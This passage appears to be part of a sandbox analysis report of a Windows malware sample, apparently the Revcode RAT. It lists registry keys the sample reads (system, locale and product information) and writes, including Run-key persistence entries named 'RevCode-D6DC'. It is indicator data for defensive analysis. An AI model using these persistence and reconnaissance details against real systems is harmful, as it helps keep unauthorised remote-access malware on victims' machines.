HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_8086&DEV_100E&SUBSYS_001E8086&REV_02\3&267A616A&0&18\FriendlyName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_8086&DEV_100E&SUBSYS_001E8086&REV_02\3&267A616A&0&18\DeviceDesc
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_PPTPMINIPORT\0000\Phantom
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_PPTPMINIPORT\0000\Driver
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_SSTPMINIPORT\0000\Phantom
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_SSTPMINIPORT\0000\Driver
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\*ISATAP\0000\Phantom
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\*ISATAP\0000\Driver
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\*ISATAP\0001\Phantom
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\*ISATAP\0001\Driver
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\SessionEnabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\Level
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\AreaFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\Session
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\LogFile
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\BufferSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MinimumBuffers
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MaximumBuffers
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MaximumFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\LogFileMode
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\FlushTimer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\AgeLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SYSTEM\Setup\UpgradeInProgress
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Settings\ActiveWriterStateTimeout
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Diag\(Default)
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Settings\TornComponentsMax
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000100-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9555-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9557-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F309AD18-D86A-11D0-A075-00C04FB68820}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\IdentifierLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\QueryLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\PathLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbThrottlingEnabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighMaxLimitFactor
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbTaskMaxSleep
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold1Mult
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold2Mult
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold3
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold3Mult
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Unchecked Task Count
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\LastServiceStart
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Working Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Repository Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Build
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Logging Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\MOF Self-Install Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Default Repository Driver
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueCoreFsrepVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Repository Cache Spill Ratio
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\CheckPointValue
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SnapShotValue
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\CheckRepositoryOnNextStartup
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\NumWriteIdCheck
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Class Cache Size
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Class Cache Item Age (ms)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\EnableObjectValidation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\NextAutoRecoverFile
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Enable Provider Subsystem
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}\ProcessIdentifier
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}\ProcessIdentifier
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}\ProcessIdentifier
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}\ProcessIdentifier
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\EnableEvents
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueEssToBeInitialized
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Low Threshold On Events (B)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\High Threshold On Events (B)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Wait On Events (ms)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Merger Query Arbitration Enabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\FinalizerBatchSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ClientCallbackTimeout
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\FinalizerQueueThreshold
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Tasks
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SetupDate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Async Result Queue Size
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\cimv2
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\cimv2
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\Synchronization
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\AppId
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\Synchronization
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\AppId
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\Synchronization
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\AppId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SecuredHostProviders\ROOT\CIMV2:__Win32Provider.Name="CIMWin32"
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\Root
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\Root
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{B7B31DF9-D515-11D3-A11C-00105A1F515A}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{07435309-D440-41B7-83F3-EB82DB6C622F}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{21CD80A2-B305-4F37-9D4C-4534A8D9B568}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{06413D98-405C-4A5A-8D6F-19B8B7C6ACF7}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F50A28CF-5C9C-4F7E-9D80-E25E16E18C59}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{6B3FC272-BF37-4968-933A-6DF9222A2607}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{0FC8C622-1728-4149-A57F-AD19D0970710}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{FEC1B0AC-5808-4033-A915-C0185934581E}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{EB658B8A-7A64-4DDC-9B8D-A92610DB0206}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{7C857801-7381-11CF-884D-00AA004B2E24}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueEssNeedsLoading
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\SecurityCenter2
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\SecurityCenter2
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\SecurityCenter
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\SecurityCenter
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Sink Transmit Buffer Size
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\DefaultRpcStackSize
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\AccessProviders\MartaExtension
HKEY_CURRENT_USER\Control Panel\International\LocaleName
HKEY_CURRENT_USER\Control Panel\International\sCountry
HKEY_CURRENT_USER\Control Panel\International\sList
HKEY_CURRENT_USER\Control Panel\International\sDecimal
HKEY_CURRENT_USER\Control Panel\International\sThousand
HKEY_CURRENT_USER\Control Panel\International\sGrouping
HKEY_CURRENT_USER\Control Panel\International\sNativeDigits
HKEY_CURRENT_USER\Control Panel\International\sCurrency
HKEY_CURRENT_USER\Control Panel\International\sMonDecimalSep
HKEY_CURRENT_USER\Control Panel\International\sMonThousandSep
HKEY_CURRENT_USER\Control Panel\International\sMonGrouping
HKEY_CURRENT_USER\Control Panel\International\sPositiveSign
HKEY_CURRENT_USER\Control Panel\International\sNegativeSign
HKEY_CURRENT_USER\Control Panel\International\sTimeFormat
HKEY_CURRENT_USER\Control Panel\International\sShortTime
HKEY_CURRENT_USER\Control Panel\International\s1159
HKEY_CURRENT_USER\Control Panel\International\s2359
HKEY_CURRENT_USER\Control Panel\International\sShortDate
HKEY_CURRENT_USER\Control Panel\International\sYearMonth
HKEY_CURRENT_USER\Control Panel\International\sLongDate
HKEY_CURRENT_USER\Control Panel\International\iCountry
HKEY_CURRENT_USER\Control Panel\International\iMeasure
HKEY_CURRENT_USER\Control Panel\International\iPaperSize
HKEY_CURRENT_USER\Control Panel\International\iDigits
HKEY_CURRENT_USER\Control Panel\International\iLZero
HKEY_CURRENT_USER\Control Panel\International\iNegNumber
HKEY_CURRENT_USER\Control Panel\International\NumShape
HKEY_CURRENT_USER\Control Panel\International\iCurrDigits
HKEY_CURRENT_USER\Control Panel\International\iCurrency
HKEY_CURRENT_USER\Control Panel\International\iNegCurr
HKEY_CURRENT_USER\Control Panel\International\iCalendarType
HKEY_CURRENT_USER\Control Panel\International\iFirstDayOfWeek
HKEY_CURRENT_USER\Control Panel\International\iFirstWeekOfYear
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Logging
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\LsaExtensionConfig\SspiCli\CheckSignatureDll
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\LsaExtensionConfig\SspiCli\CheckSignatureRoutine
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SecurityProviders\SecurityProviders
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\SspiCache\credssp.dll\Name
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\SspiCache\credssp.dll\Comment
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\SspiCache\credssp.dll\Capabilities
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\SspiCache\credssp.dll\RpcId
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\SspiCache\credssp.dll\Version
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\SspiCache\credssp.dll\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\SspiCache\credssp.dll\TokenSize
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sCountry
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sList
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sDecimal
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sThousand
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sGrouping
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sNativeDigits
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sCurrency
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sMonDecimalSep
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sMonThousandSep
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sMonGrouping
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sPositiveSign
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sNegativeSign
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sTimeFormat
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sShortTime
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\s1159
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\s2359
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sShortDate
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sYearMonth
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sLongDate
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\iCountry
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\iMeasure
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\iPaperSize
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\iDigits
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\iLZero
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\iNegNumber
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\NumShape
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\iCurrDigits
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\iCurrency
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\iNegCurr
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\iCalendarType
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\iFirstDayOfWeek
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\iFirstWeekOfYear
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Plus! ProductId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\InstallDate
HKEY_LOCAL_MACHINE\SYSTEM\Setup\SystemPartition
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\PriorityControl\Win32PrioritySeparation

Write Keys

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\RevCode-D6DC
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\RevCode-D6DC
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\7F06864B\LanguageList
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\MediaResources\msvideo
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\LastServiceStart
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Server
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\ProcessIdentifier
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueEssNeedsLoading
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\List of event-active namespaces

Delete Keys

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\CustomPropertyHwIdKey

Mutexes

